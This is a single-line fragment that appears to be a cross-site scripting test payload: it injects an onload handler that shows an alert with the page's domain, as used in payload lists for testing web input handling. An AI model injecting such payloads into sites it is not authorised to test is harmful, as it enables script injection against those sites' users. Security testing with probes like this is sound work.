x onload=alert(document.domain) y